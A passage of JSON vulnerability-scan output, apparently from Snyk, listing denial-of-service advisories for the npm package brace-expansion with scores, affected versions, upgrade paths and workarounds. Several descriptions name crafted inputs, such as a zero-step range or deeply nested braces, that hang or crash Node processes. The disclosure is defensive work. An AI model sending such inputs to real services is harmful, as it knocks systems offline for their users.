Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 